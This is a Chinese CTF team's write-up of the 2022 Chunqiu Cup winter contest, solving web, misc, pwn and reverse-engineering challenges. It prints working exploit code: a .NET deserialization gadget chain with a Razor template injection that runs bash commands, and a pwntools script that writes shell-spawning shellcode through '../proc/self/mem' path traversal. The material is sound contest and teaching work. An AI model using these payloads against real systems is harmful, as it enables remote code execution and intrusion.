20222022年春秋杯冬季赛-WriteUp By EDISEC

WriteUp 1年前 (2022) admin
695 0 0

EDI

JOIN US ▶▶▶

招新

EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事。

欢迎各位师傅加入EDI,大家一起打CTF,一起进步。(诚招re crypto pwn misc方向的师傅)有意向的师傅请联系邮箱[email protected](带上自己的简历,简历内容包括但不限于就读学校、个人ID、擅长技术方向、历史参与比赛成绩等等。

点击蓝字 ·  关注我们

01

Web(题解:@SNCKER)

1

ezdoenot

使用dnSpy反编译 WebApplication1.dll 和 WebLibClass.dll 路由 /api/UserLoad 会调用反序列化

20222022年春秋杯冬季赛-WriteUp By EDISEC

寻找反序列化入口,关注到 WebLibClass.GadgetTestOnDeserializing 方法,使用了 OnDeserialized 修饰,所以会在反序列化时触发。

20222022年春秋杯冬季赛-WriteUp By EDISEC

这里有一个判断:

!this.key.Equals(ComparerData<T>.key)this.key

是从用户提供的序列化数据读入的,那么继续跟入 ComparerData<T> 看到

20222022年春秋杯冬季赛-WriteUp By EDISEC

也就是说ComparerData<T>.key是随机生成的。那么有没有在什么地方泄露呢?继续寻找可以看到

20222022年春秋杯冬季赛-WriteUp By EDISEC

/login路由引用了该key,将key设置给了User,并且如果密码正确会将序列化数据存在session中。

20222022年春秋杯冬季赛-WriteUp By EDISEC

这里可以从User类反编译拿到密码。然后再注意到/api/UserExport路由

20222022年春秋杯冬季赛-WriteUp By EDISEC

这个路由会导出存在session里的序列化数据。因为key被设置在user对象里,所以序列化数据中就会有这个key。思路就很明确,首先登录,账号随意,密码是XNN0504,然后访问/api/UserExport拿到序列化数据后,再从中提取key。

20222022年春秋杯冬季赛-WriteUp By EDISEC

继续回到TestOnDeserializing方法,当绕过了key的判断后,最后会调用this.comparer.Compare(this.x, this.y);this.comparer是IComparer<T>类型,这时也注意到WebLibClass.ComparerData<T>也是IComparer<T>的子类。所以this.comparer十有八九是用ComparerData<T>。

20222022年春秋杯冬季赛-WriteUp By EDISEC

当this.isVoid是true时,会进行反射获取任意类的方法并进行调用,该方法限定为静态且两个参数类型为string。这里的类名和方法名分别通过this.c.getClass()和this.c.getMethod()获取,所以继续跟到this.c的声明。

20222022年春秋杯冬季赛-WriteUp By EDISEC

可以看到this.c是一个内部的私有类。最终的效果就是可以调用任意类的两个string类型参数的静态方法,而这个两个参数就是反序列化时读入的x和y。一开始想直接调用System.Diagnostics.Process的Start(string filename, string args)方法,这个方法是完全符合条件的,但是貌似没有引用System.Diagnostics.Process.dll所以调用不了。后来根据题目意思就是调用了System.IO.File.WriteAllText(string path, string contents)来写文件。反射搓序列化链代码如下:

static void Main(string[] args){    ComparerData<string> comparerDataObj = new ComparerData<string>();    string tpl = File.ReadAllText(@"staticerror.html");    Gadget<string> gadgetObj = new Gadget<string>(comparerDataObj, "static/error.html", tpl);    Type gadgetType = gadgetObj.GetType();    FieldInfo keyFiled = gadgetType.GetField("key", BindingFlags.Instance | BindingFlags.NonPublic);    keyFiled.SetValue(gadgetObj, "c482f17d0ab14fdc9752b28f36ff2020");    Type comparerDataType = comparerDataObj.GetType();    FieldInfo isVoidField = comparerDataType.GetField("isVoid", BindingFlags.Instance | BindingFlags.NonPublic);    isVoidField.SetValue(comparerDataObj, true);    Type innerClassMethodType = comparerDataType.GetNestedTypes(BindingFlags.NonPublic)[0];    innerClassMethodType = innerClassMethodType.MakeGenericType(typeof(string));    Console.WriteLine(innerClassMethodType.FullName);    FieldInfo classnameFiled = innerClassMethodType.GetField("Classname", BindingFlags.Instance | BindingFlags.NonPublic);    FieldInfo methodnameFiled = innerClassMethodType.GetField("Methodname", BindingFlags.Instance | BindingFlags.NonPublic);    Object innerClassMethodObj = Activator.CreateInstance(innerClassMethodType);    classnameFiled.SetValue(innerClassMethodObj, "System.IO.File");    methodnameFiled.SetValue(innerClassMethodObj, "WriteAllText");    FieldInfo cFiled = comparerDataType.GetField("c", BindingFlags.Instance | BindingFlags.NonPublic);    cFiled.SetValue(comparerDataObj, innerClassMethodObj);    Console.WriteLine(SerTools.Serialize(gadgetObj));}

这里主要坑的就是ComparerData<T>用了泛型,所以在获取其内部类时要用MakeGenericType(typeof(string))明确类型,后面才能进行实例化。

20222022年春秋杯冬季赛-WriteUp By EDISEC

最后就是进行ssti模板注入,这个链子是往static/error.html进行写入,然后访问/admin即可触发。但是前面说过,程序没有引用System.Diagnostics.Process.dll所以不能直接用@{System.Diagnostics.Process.Start(“cmd.exe”,”/c calc”)}执行命令。最后还是用反射来搓,先加载System.Diagnostics.Process.dll程序集,然后获取System.Diagnostics.Process类再反射调用Start方法。

@using System.Reflection;@{Assembly assembly = Assembly.Load("System.Diagnostics.Process");var processType = assembly.GetType("System.Diagnostics.Process");var startMethod = processType.GetMethod("Start", BindingFlags.Static | BindingFlags.Public, null, new Type[]{typeof(string),typeof(string)}, null);startMethod.Invoke(null, new []{"/bin/bash", "/app/wwwroot/js/1.sh"});@processType.FullName;}

这里面比较坑的是bash -c执行不了,不明原因,所以改为用bash执行shell脚本,因为前面实现了任意文件写了,可以往/app/wwwroot/js/1.sh写命令然后配合ssti执行。最后使用cat /flag > /app/wwwroot/js/1.txt将flag写到文件。然后访问WEB拿到flag。

20222022年春秋杯冬季赛-WriteUp By EDISEC


2

ezphp

?num=1||1

02

Misc(题解:@Mrsh)

1

nan’s analysis

20222022年春秋杯冬季赛-WriteUp By EDISEC

题目要求获取/flag,发现需要root权限,采用cat重定向到base64输出

20222022年春秋杯冬季赛-WriteUp By EDISEC

解码后通过010还原可得一个加密的zip,内含shell.php

20222022年春秋杯冬季赛-WriteUp By EDISEC

图片则是通过拼音告诉我们与此题无关

随即访问80端口的shell.php

20222022年春秋杯冬季赛-WriteUp By EDISEC

一开始没想到0宽。。。然后看到响应包里的就尝试了下0宽

20222022年春秋杯冬季赛-WriteUp By EDISEC

同时获得了两条信息

这边再转到终端 发现根目录下隐藏了两个文件

20222022年春秋杯冬季赛-WriteUp By EDISEC

DS_Store下载后并未发现信息

.index.php下载后发现一些混淆的代码

20222022年春秋杯冬季赛-WriteUp By EDISEC

20222022年春秋杯冬季赛-WriteUp By EDISEC

eval改成echo

20222022年春秋杯冬季赛-WriteUp By EDISEC

发现密文

接下来从zip入手写个脚本跑个字典就行了

20222022年春秋杯冬季赛-WriteUp By EDISEC
20222022年春秋杯冬季赛-WriteUp By EDISEC


解开后发现跟上面的.index.php一样。。。。但没密文。。。看来上面几步没白做

唯一没找的就是流量包了

直接追踪TCP流

20222022年春秋杯冬季赛-WriteUp By EDISEC


看来AES解密所需的偏移量密钥 密文都齐了,解开来得到AES密文

20222022年春秋杯冬季赛-WriteUp By EDISEC

获取root的权限

20222022年春秋杯冬季赛-WriteUp By EDISEC

2

reindeer game

20222022年春秋杯冬季赛-WriteUp By EDISEC

3

楠之勇者

蛮有趣的一道题目,本地无docker就直接去搭了个ubuntu18.04:)

连上去之后先玩了一下,大概得到以下信息

20222022年春秋杯冬季赛-WriteUp By EDISEC

20222022年春秋杯冬季赛-WriteUp By EDISEC

这里获取到设备信息

大概按个10次4就能买普通魔杖进行附魔效果的输入了

此题应该是配后目录穿越漏洞写shellcode

linux有个机制叫内存映射文件,就是可以通过读写文件的方式读写一个进程的地址空间。那么此题中猜测python3.6.9这个程序在ubuntu18.04中的内存地址不变(实际上也是,否则没想到法子做)我们写一个简单的程序读python3.6.9的内存地址

20222022年春秋杯冬季赛-WriteUp By EDISEC

20222022年春秋杯冬季赛-WriteUp By EDISEC

可获取到其起始地址固定式0x400000,指令区域上限是0x7b4000

那么再写一个简单的程序来判断python进程的地址空间

20222022年春秋杯冬季赛-WriteUp By EDISEC

0xcc是int3指令,如果执行到这个指令cpu会生成一个调试信号,addr则是需要猜测的地址,我们以页为单位尝试

20222022年春秋杯冬季赛-WriteUp By EDISEC

当addr=0x600000时,写入成功

构造exp

from pwn import *context.log_level = 'debug'context(arch='amd64', os='linux')io = remote("39.106.48.123",27713)io.sendlineafter("请告诉我你的姓名:","Mrsh")io.sendlineafter(">>","1")
# Linux-4.19.91-20220519040629.182dd72.al7.x86_64-x86_64-with-Ubuntu-18.04-bionic# Python 3.6.9def getmoney(n): for i in range(n): io.sendlineafter(">>","4") io.sendlineafter("(按Enter键继续)","n")
def buy(n): io.sendlineafter(">>","3") io.sendlineafter(">>",str(n)) io.sendlineafter(">>",'a') io.sendlineafter("(按Enter键继续)","n")
def writeevil(file,offset,data): io.sendlineafter(">>","2") io.sendlineafter(">>","1") io.sendlineafter("输入你的记事录名称:",file) io.sendlineafter("从第几页开始记录:",str(offset)) io.sendlineafter("(魔杖附效)输入内容:",base64.b64encode(data)) #io.sendlineafter("按Enter","n")
getmoney(10)buy(1)sh=asm(shellcraft.amd64.linux.sh())writeevil("../proc/self/mem",0x600000,sh.rjust(0x1000,b"x90"))
io.interactive()

20222022年春秋杯冬季赛-WriteUp By EDISEC

20222022年春秋杯冬季赛-WriteUp By EDISEC

03

Re(题解:tlsn、神奇)

1

baby_transform

离散傅里叶变换

Exp如下:

import structfp = open(r"C:UsersAdministratorDesktop春秋杯冬季赛baby_transform_566a4f87c687b0c077804d89282566caflag.enc","rb")data = fp.read()val = []def hex_to_float(I):    f = struct.unpack('<d',I)    return f[0]for i in range(0,84,2):    t1 = hex_to_float(data[i*8:i*8+8])    t2 = hex_to_float(data[i*8+8:i*8+16])    val.append((t1,t2))import mathfrom struct import *PAI = 3.141592653589793N = 42bbb = b""for n in range(42):    an = bn = 0    for x in range(42):        an += val[x][1] * math.cos(-2*PAI*x*n / N)        bn += val[x][0] * math.sin(-2*PAI*x*n / N)    an *= (1 / N)    bn *= (1 / N)        print(chr(int(an-bn+0.5)),end = "")
得到 :f}c3a26829fa7f-080b-1ab4-0fb7-aa3d023e{gal
取反,得到flag为:flag{e320d3aa-7bf0-4ba1-b080-f7af92862a3c}

2

easy_python

直接询问chatgpt

flag = [204, 141, 44, 236, 111, 140, 140, 76, 44, 172, 7, 7, 39, 165, 70, 7, 39, 166, 165, 134, 134, 140, 204, 165, 7, 39, 230, 140, 165, 70, 44, 172, 102, 6, 140, 204, 230, 230, 76, 198, 38, 175]
for i in range(42):  flag[i] = (flag[i] >> 5) | ((flag[i] << 3) & 255)  print(chr(flag[i]),end = "")flag为:flag{ddbae889-2895-44df-897d-2ae30df77b61}

3

godeep(一解)

Go语言编写的exe程序,main_convert函数把输入的字符串按ASC码转换为了大端序的二进制字符串,之后通过二进制值的来遍历二叉树

解题思路:

有好几种解题思路,可以手动交叉引用慢慢算,也可以用IDAPython脚本算

我这里,打印出来所有伪代码后,通过正则匹配的方式拿到的flag

exp

# import idaapi# import idautils# def Ida_Decode(fp,begin,end):#     All_Fun = list(idautils.Functions(begin,end))           #     for i in range(len(All_Fun)):#         func = idaapi.get_func(All_Fun[i])  # 获取函数#         cfunc = idaapi.decompile(func.start_ea)  # 反编译   #         fp.write((str(cfunc)))# begin = 0x000000000C8B820# end = 0x000000000D72EE6# addr = begin# with open(r"C:UsersAdministratorDesktopGet_Code","w") as fp:#     Ida_Decode(fp,begin,end)# import re# patternn = re.compile("__fastcall (godeep_tree_[a-zA-Z0-9]+)(")# fp = open(r"C:UsersAdministratorDesktopGet_Code","r")# All_data = fp.readlines()# find_str = "godeep_tree_VSWEwsr_successssssssssssssssssssss"# idx = 0# flag_2 = ""# while 1:#     if find_str == "godeep_tree_ApSzXJOjiFA" :#         break;
# for i in range(len(All_data)):# if find_str in All_data[i] and "__fastcall" not in All_data[i]:# idx = i# if "else" in All_data[i+1]:# flag_2 += "1"# else:# flag_2 += "0" # # print(flag_2)# ans = 0# for i in range(idx-1,-1,-1):# if "__fastcall" in All_data[i] :# fun_name = patternn.search(All_data[i]).group(1)# ans = 1# break# if ans == 0:# assert 0#     find_str = fun_name[:] # print(flag_2)re_flag = "100001100000110001000110110011000010011010101100001011001110110011000110010001100001110011101100101101001110110000011100100111000001110010110100011001101001110010001100001011001011010001000110111011000110011001100110101101001110110010011100001001100100011011001100000011001100011001100110"flag = hex(int((re_flag[::-1]),2))[2:]print(bytes.fromhex(flag))
flag为:fc03bd97-ff7b-419f-8987-78bc745d3b0a

4

godeep(二解)

Ⅰ、程序信息
20222022年春秋杯冬季赛-WriteUp By EDISEC
Ⅱ、功能探测 
1.运行程序看一下程序如何验证我们的flag的,发现它给了我们一个提示,如果输入正确则提示 right ,否则提示 wrong

20222022年春秋杯冬季赛-WriteUp By EDISEC

Ⅲ、加壳探测

1.我们使用Detect工具看一下程序的编译器信息,发现是用Go语言进行编写的64位程序

20222022年春秋杯冬季赛-WriteUp By EDISEC

Ⅳ、静态分析 

4.1、分析main函数 1.将程序载入ida7.7,在函数窗口里面定位到main_main函数,查看它的伪代码,根据上下文信息添加 上对应的注视。 

  • 在使用ida7.7分析main函数的时候像 fmt_Fprintln,fmt_Fscanf、main_convert 等这些被调用 的函数,他们的参数都是不完整的 
  • 需要自己在函数上按Y给它们添加参数,具体怎么添加请继续往下看

20222022年春秋杯冬季赛-WriteUp By EDISEC

4.2、修改调用约定 

1.像 fmt_Fprintln ,首先将它的调用约定改成 __fastcall ,然后在参数列表里面给它写上4个 void* 和一个 char* 为什么是4个 void* 和一个 char* ?是一个一个试出来的,自己可以根据情况自行修改参数

__int64 __fastcall fmt_Fprintln(void *, void *, void *, char *, void *)

20222022年春秋杯冬季赛-WriteUp By EDISEC

2.fmt_Fscanf函数也与 fmt_Fprintln 做同样的操作 
__int64 __fastcall fmt_Fscanf(__int64, __int64, __int64, __int64, __int64,__int64)


20222022年春秋杯冬季赛-WriteUp By EDISEC

3.经过尝试,main_convert有两个参数 

__int64 __fastcall main_convert(__int64, void *)


20222022年春秋杯冬季赛-WriteUp By EDISEC

4.根据尝试, godeep_tree_ApSzXJOjiFA 函数也有两个参数 

__int64 __fastcall godeep_tree_ApSzXJOjiFA(__int64, __int64)

20222022年春秋杯冬季赛-WriteUp By EDISEC

Ⅴ、动态调试 

5.1、分析main_convert函数 

1.设置ida的本地Windows调试选项 

20222022年春秋杯冬季赛-WriteUp By EDISEC

2.输入测试flag

3. 在 main_convert 函数这里下一个断点,观察程序传递的参数,发现并不是我们输入的 1234567890 

是因为字符串在go里面是用结构体来表示的,传递的是字符串这个对象结构体的地址 

这里我们不深究go字符串的结构体到底是怎样,我们只关心它会对我们输入的字符串做什么操作

20222022年春秋杯冬季赛-WriteUp By EDISEC


4. 我们在 main_convert 函数的返回处下一个断点,观察RAX的值,可以看到下图中RAX所在的地址有我们输入的flag,和一串010101,说明这个函数的功能就是将我们输入的内容转成二进制字符串。

20222022年春秋杯冬季赛-WriteUp By EDISEC

5.我们将复制出来的二进制字符串放到Python中进行处理,发现是成功的还原出输入的 1234567890

20222022年春秋杯冬季赛-WriteUp By EDISEC

5.2、分析godeep_tree_xxx函数 

1.我们接着来分析一下main中调用的 godeep_tree_ApSzXJOjiFA 函数

20222022年春秋杯冬季赛-WriteUp By EDISEC

2. 虽然这里变量a2没有被定义,但是可以看到它里面存的值 我们在16进制窗口跟随这个值,发现是一堆二进制的0和1 其实就是刚刚上方的二进制字符串,现在转成了二进制数值。

20222022年春秋杯冬季赛-WriteUp By EDISEC

3.我们转到反汇编视图,看它再调用下一个 godeep_tree_xxx 所传递的参数,从RAX中可以看到是将 原来的a2加了1传递过去的。

20222022年春秋杯冬季赛-WriteUp By EDISEC

4.结果当然是wrong

20222022年春秋杯冬季赛-WriteUp By EDISEC

Ⅵ、思路探索 

1. 现在我们可以知道程序的逻辑是根据用户输入的内容,将其转成2进制,程序根据二进制的每一位 去调用对应的函数,如果正确就会调用到right,否则就是wrong 那这里我们的思路就是从引用了right字符串这个函数作为切入点,从最终的目的地倒推路径出来 

2.现在我们开始寻找目的地函数,这里我们在IDA中搜索right字符串,看谁引用了它

20222022年春秋杯冬季赛-WriteUp By EDISEC

3.按X交叉引用

20222022年春秋杯冬季赛-WriteUp By EDISEC

4.直到找到 godeep_tree_VSWEwsr 函数,可以看到这个函数里引用了 right 这个字符串,并且还将它 输出

20222022年春秋杯冬季赛-WriteUp By EDISEC

5.那我们看一下 godeep_tree.VSWEwsr 的上层调用是哪个函数

20222022年春秋杯冬季赛-WriteUp By EDISEC

6. 是 godeep_tree_uhjbVAJIZWUvFQBgP 调用了 godeep_tree.VSWEwsr 函数 那又是谁调用了 godeep_tree_uhjbVAJIZWUvFQBgP 函数呢?如果这样人工找,效率太低,等找 到了比赛早就结束了~ 那怎么办呢?我们使用 idapython 脚本来完成这个操作。

20222022年春秋杯冬季赛-WriteUp By EDISEC

Ⅶ、编写脚本 

7.1、查找所有上层调用 

1.编写idapython脚本,功能是查找 godeep_tree_VSWEwsr 所有上层调用函数的列表,终点是 godeep_tree_ApSzXJOjiFA 函数

from idaapi import *'''  功能:获取一个函数的上层调用函数地址  返回:函数的上层调用地址'''def get_crefs(func):  find_func = func  addr = list(CodeRefsTo(find_func,0))[0]  up_call = get_func(addr).start_ea  return up_call'''  功能:获取godeep_tree.ApSzXJOjiFA到godeep_tree.VSWEwsr之间的所有函数上层调用  返回:这两个函数之间的调用列表'''def get_all_refs():  start_func = get_name_ea(0,'godeep_tree.VSWEwsr')  end_func = get_name_ea(0,'godeep_tree.ApSzXJOjiFA')  func_list = [start_func]  while True:    ret = get_crefs(start_func)    func_list.append(ret)    start_func = ret            if ret == end_func:        break      return func_listrefs = get_all_refs()print(refs)print(get_func_name(refs[0]))print(get_func_name(refs[-1]))

2.从运行的结果中可以看到,我们成功的找到了 godeep_tree_VSWEwsr 到 godeep_tree_ApSzXJOjiFA 函数的所有上层调用函数列表

3.有了列表以后,我们就要判断列表里的每一个函数它是为true执行到的还是为false执行到的

20222022年春秋杯冬季赛-WriteUp By EDISEC

7.2、完整解题脚本 

1.下面是完整解题脚本

from idaapi import *'''  功能:获取一个函数的上层调用函数地址  返回:函数的上层调用地址'''def get_crefs(func):  find_func = func  addr = list(CodeRefsTo(find_func,0))[0]  up_call = get_func(addr).start_ea  return up_call'''  功能:获取godeep_tree.ApSzXJOjiFA到godeep_tree.VSWEwsr之间的所有函数上层调用  返回:这两个函数之间的调用列表'''def get_all_refs():  start_func = get_name_ea(0,'godeep_tree.VSWEwsr')  end_func = get_name_ea(0,'godeep_tree.ApSzXJOjiFA')  func_list = [start_func]  while True:    ret = get_crefs(start_func)    func_list.append(ret)    start_func = ret    if ret == end_func:        break  return func_list'''  功能:根据相邻两个调用函数来判断返回1还是返回0  参数:      cur_func: 当前函数地址      up_func:cur_func的上层调用函数地址'''def get_bin_code(cur_func,up_func):    # 1.这里要将函数名中的.替换成_    cur_name = get_func_name(cur_func).replace('.','_')  # 2.  # 目的是为了在up_func函数中可以匹配到对应的行,因为反编译函数里面它的写法全是_  # 这里将反编译的伪代码,使用n进分割  up_body = str(decompile(up_func)).split('n')  for i in range(len(up_body)):      # 如果cur_name在上层函数体中的这一行内      if cur_name in up_body[i]:          # 判断下方有没有else,有就返回1,否则返回0          if 'else' in up_body[i+1]:              return '1'           else:              return '0'# 1.首先获取end到start的所有函数引用refs = get_all_refs()print(len(refs))# 2.遍历这些函数引用bin_code = ''for i in range(0,len(refs)-1):    # 3.传递get_bin_code所需要的参数    # cur_func : refs[i]    # up_func : refs[i+1]    bin_code += get_bin_code(refs[i],refs[i+1])print(bin_code)# 4.因为是从后往前找到的所以要将结果反转过来,并转成16进制flag = hex(int((bin_code[::-1]),2))[2:]# 5.将16进制转成字节并解码得到flagflag = bytes.fromhex(flag).decode()print(flag)

2.运行过后成功拿到flag

20222022年春秋杯冬季赛-WriteUp By EDISEC

Ⅷ、运行测试 

1.将flag输入到程序中进行测试,程序输出right,表示这就是正确的flag!

20222022年春秋杯冬季赛-WriteUp By EDISEC

EDI安全

20222022年春秋杯冬季赛-WriteUp By EDISEC

扫二维码|关注我们

一个专注渗透实战经验分享的公众号

原文始发于微信公众号(EDI安全):20222022年春秋杯冬季赛-WriteUp By EDISEC

版权声明:admin 发表于 2022年12月26日 下午1:13。
转载请注明:20222022年春秋杯冬季赛-WriteUp By EDISEC | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...